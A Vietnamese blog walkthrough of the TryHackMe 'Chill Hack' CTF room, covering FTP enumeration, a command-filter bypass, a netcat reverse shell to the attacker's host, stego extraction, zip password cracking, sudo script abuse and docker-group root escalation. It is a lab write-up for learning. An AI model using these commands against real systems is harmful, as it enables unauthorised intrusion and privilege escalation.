Advertisement

Responsive Advertisement

Chill Hack - Tryhackme write up

 

Chill the Hack out of the Machine.

Easy level CTF.  Capture the flags and have fun!

Hello hôm nay mình sẽ làm một bài khá chill liên quan đến ctf  nhé 😆😆😆

Sau khi deploy máy ảo mình thực hiện các bước khai thác máy của tryhackme

Bước 1: Thu thập thông tin

Sử dụng nmap để thu thập thông tin

PORT      STATE    SERVICE VERSION
21/tcp    open     ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.8.50.72
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
|   256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_  256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Game Info

Qua đấy mình thấy mở 3 cổng chính là 21, 22, 80. Cổng 21 có tài khoản anonymous sử dụng

Bước 2: Khai thác dịch vụ FTP

kali@kali:/data/Chill_Hack$ ftp 10.10.51.62
Connected to 10.10.51.62.
220 (vsFTPd 3.0.3)
Name (10.10.51.62:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        115          4096 Oct 03  2020 .
drwxr-xr-x    2 0        115          4096 Oct 03  2020 ..
-rw-r--r--    1 1001     1001           90 Oct 03  2020 note.txt
226 Directory send OK.
ftp> get note.txt -
remote: note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (90 bytes).
Anurodh told me that there is some filtering on strings being put in the command -- Apaar
226 Transfer complete.
90 bytes received in 0.00 secs (62.4667 kB/s)

Sau khi mình tải tệp note.txt  mình đọc nó chỉ gợi ý liên quan đến bộ lọc ký tự nào đó mình chuyển sang khai thác dịch vụ web


Bước 3: Khai thác dịch vụ web

Truy cập vào website thấy  đây là một trang thể thao


Mình thử tìm kiếm các path URL bằng gobuster xem có link nào 

gobuster dir -u http://ip-victim -x txt,php,tar,zip -w /usr/share/wordlists/dirb/common.txt 

Thấy đường dẫn secret


Mình truy cập thấy đây là một trang thực hiện command


Mình thử lệnh "id" hiện thị ra thông tin của user


Mình thử lệnh "ls" thì một màn hình cảm báo hacker xuất hiện


Mình biết ở đây nó thực hiện chặn các lệnh thực thi lấy thông tin nhạy cảm của hệ thống

Mình tìm hiểu cách bypass qua bằng sử dụng trang payloadallthings: PayloadsAllTheThings/Command Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub

Mình thử nghiệm "l\s -la"


Mình thấy nó đã thực hiện thành công vậy nên mình sẽ áp dụng lệnh revese shell để khai thác

r\m /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ipVPN-attacker 4242 >/tmp/f

Đồng thời mình chạy lắng nghe kết nối cổng 4242, mình thấy kết nối thành công từ máy victim


Bước 4: Khai thác sau khi kết nối victim

Sau đó mình chạy lệnh

python3 -c 'import pty; pty.spawn("/bin/bash")'

Để mình có thể thực hiện lệnh một cách dễ dàng hơn 

Mình truy cập kiểm tra thư mục của website 

www-data@ubuntu:/var/www/files$ ll
ll
total 28
drwxr-xr-x 3 root root 4096 Oct  3  2020 .
drwxr-xr-x 4 root root 4096 Oct  3  2020 ..
-rw-r--r-- 1 root root  391 Oct  3  2020 account.php
-rw-r--r-- 1 root root  453 Oct  3  2020 hacker.php
drwxr-xr-x 2 root root 4096 Oct  3  2020 images
-rw-r--r-- 1 root root 1153 Oct  3  2020 index.php
-rw-r--r-- 1 root root  545 Oct  3  2020 style.css

Tại đây mình thấy có 2 tệp hacker.php và account.php. Mình đọc 2 tệp này thấy trong tệp hacker.php

www-data@ubuntu:/var/www/files$ cat hacker.php
cat hacker.php
<html>
<head>
<body>
<style>
body {
  background-image: url('images/002d7e638fb463fb7a266f5ffc7ac47d.gif');
}
h2
{
  color:red;
  font-weight: bold;
}
h1
{
  color: yellow;
  font-weight: bold;
}
</style>
<center>
  <img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
  <h1 style="background-color:red;">You have reached this far. </h2>
  <h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
</center>
</head>
</html>

 Thấy có một ảnh gif khác trong đường dẫn mình chạy lệnh nc để tải tệp đó về phân tích,

Bạn có thể tham khảo tải tại link: Using Netcat for File Transfers (nakkaya.com)

Sau khi tải về máy kali mình thử lệnh steghide phát hiện tệp backup:

steghide extract -sf hacker-with-laptop_23-2147985341.jpg 
Enter passphrase: 
wrote extracted data to "backup.zip".

Mình thử giải nén tệp backup.zip thấy nó đòi mật khẩu liền sử dụng công cụ johnzipper để giải mã

zip2john backup.zip > backup.hash
ver 2.0 efh 5455 efh 7875 backup.zip/source_code.php PKZIP Encr: 2b chk, TS_chk, cmplen=554, decmplen=1211, crc=69DC82F3 type=8
john backup.hash --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass1word        (backup.zip/source_code.php)
1g 0:00:00:00 DONE (2021-04-26 20:43) 9.090g/s 111709p/s 111709c/s 111709C/s total90..hawkeye
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Mình thu được mật khẩu giải nén tệp được "source_code.php"

<html>
<head>
  Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
      Email: <input type="email" name="email" placeholder="email"><br><br>
      Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
    </form>
<?php
        if(isset($_POST['submit']))
  {
    $email = $_POST["email"];
    $password = $_POST["password"];
    if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
    { 
      $random = rand(1000,9999);?><br><br><br>
      <form method="POST">
        Enter the OTP: <input type="number" name="otp">
        <input type="submit" name="submitOtp" value="Submit">
      </form>
    <?php mail($email,"OTP for authentication",$random);
      if(isset($_POST["submitOtp"]))
        {
          $otp = $_POST["otp"];
          if($otp == $random)
          {
            echo "Welcome Anurodh!";
            header("Location: authenticated.php");
          }
          else
          {
            echo "Invalid OTP";
          }
        }
    }
    else
    {
      echo "Invalid Username or Password";
    }
        }
?>
</html>

Đọc nội dung thấy phần kiểm tra mật khẩu mã base64, mình giải mã thu được giá trị "!d0ntKn0wmYp@ssw0rd"

Như bước khai thác dịch vụ FTP chúng ta đọc tệp note.txt thu được 2 thông tin về người dùng là “Anurodh” và “Apaar”.

Mình thử SSH và thành công với user Anurodh

Bước 5: Khai thác dịch vụ SSH

Tại user Anurodh mìn dùng lệnh "sudo -l" xem có gì ko

anurodh@ubuntu:~$ sudo -l
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

Thấy rằng có thể leo thang lên user apaar bằng tệp .helpline.sh

Mình đọc thử xem nội dung tệp này có gì ko:

anurodh@ubuntu:~$ cat /home/apaar/.helpline.sh
#!/bin/bash

echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo

read -p "Enter the person whom you want to talk with: " person

read -p "Hello user! I am $person,  Please enter your message: " msg

$msg 2>/dev/null

echo "Thank you for your precious time!"

Thấy không có gì đặc biệt cả mình thực hiện lệnh leo thang lên apaar

anurodh@ubuntu:~$ sudo -u apaar /home/apaar/.helpline.sh

Welcome to helpdesk. Feel free to talk to anyone at any time!

Enter the person whom you want to talk with: oops
Hello user! I am oops,  Please enter your message: /bin/bash
id
uid=1001(apaar) gid=1001(apaar) groups=1001(apaar)
python3 -c "import pty;pty.spawn('/bin/bash')"

Sau đó chuyển đến thư mục của user apaar 

apaar@ubuntu:~$ cd /home/apaar
apaar@ubuntu:/home/apaar$ ls -la
total 44
drwxr-xr-x 5 apaar apaar 4096 Oct  4  2020 .
drwxr-xr-x 5 root  root  4096 Oct  3  2020 ..
-rw------- 1 apaar apaar    0 Oct  4  2020 .bash_history
-rw-r--r-- 1 apaar apaar  220 Oct  3  2020 .bash_logout
-rw-r--r-- 1 apaar apaar 3771 Oct  3  2020 .bashrc
drwx------ 2 apaar apaar 4096 Oct  3  2020 .cache
drwx------ 3 apaar apaar 4096 Oct  3  2020 .gnupg
-rwxrwxr-x 1 apaar apaar  286 Oct  4  2020 .helpline.sh
-rw-rw---- 1 apaar apaar   46 Oct  4  2020 local.txt
-rw-r--r-- 1 apaar apaar  807 Oct  3  2020 .profile
drwxr-xr-x 2 apaar apaar 4096 Oct  3  2020 .ssh
-rw------- 1 apaar apaar  817 Oct  3  2020 .viminfo

Đọc cờ đầu và submit nhé

Mình thử dùng lệnh id lần nữa tại user anurodh  thì thấy rằng có thể dùng lệnh docker

anurodh@ubuntu:/home/apaar$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)

Bước 6: Leo thang đặc quyền root

Với đặc quyền dùng docker mình lên trang gtfobins để tìm kiếm thông tin về docker: https://gtfobins.github.io/gtfobins/docker/ 

Thấy được cách leo thang mình sử dụng xem sao

anurodh@ubuntu:/home/apaar$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)

Thành công lên với quyền root. Cuối cùng là đọc lá cờ còn lại thôi nào

anurodh@ubuntu:/home/apaar$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls -la
total 68
drwx------  6 root root  4096 Oct  4  2020 .
drwxr-xr-x 24 root root  4096 Oct  3  2020 ..
-rw-------  1 root root     0 Oct  4  2020 .bash_history
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 Oct  3  2020 .cache
drwx------  3 root root  4096 Oct  3  2020 .gnupg
-rw-------  1 root root   370 Oct  4  2020 .mysql_history
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rw-r--r--  1 root root 12288 Oct  4  2020 .proof.txt.swp
drwx------  2 root root  4096 Oct  3  2020 .ssh
drwxr-xr-x  2 root root  4096 Oct  3  2020 .vim
-rw-------  1 root root 11683 Oct  4  2020 .viminfo
-rw-r--r--  1 root root   166 Oct  3  2020 .wget-hsts
-rw-r--r--  1 root root  1385 Oct  4  2020 proof.txt
# cat proof.txt 


Post a Comment

0 Comments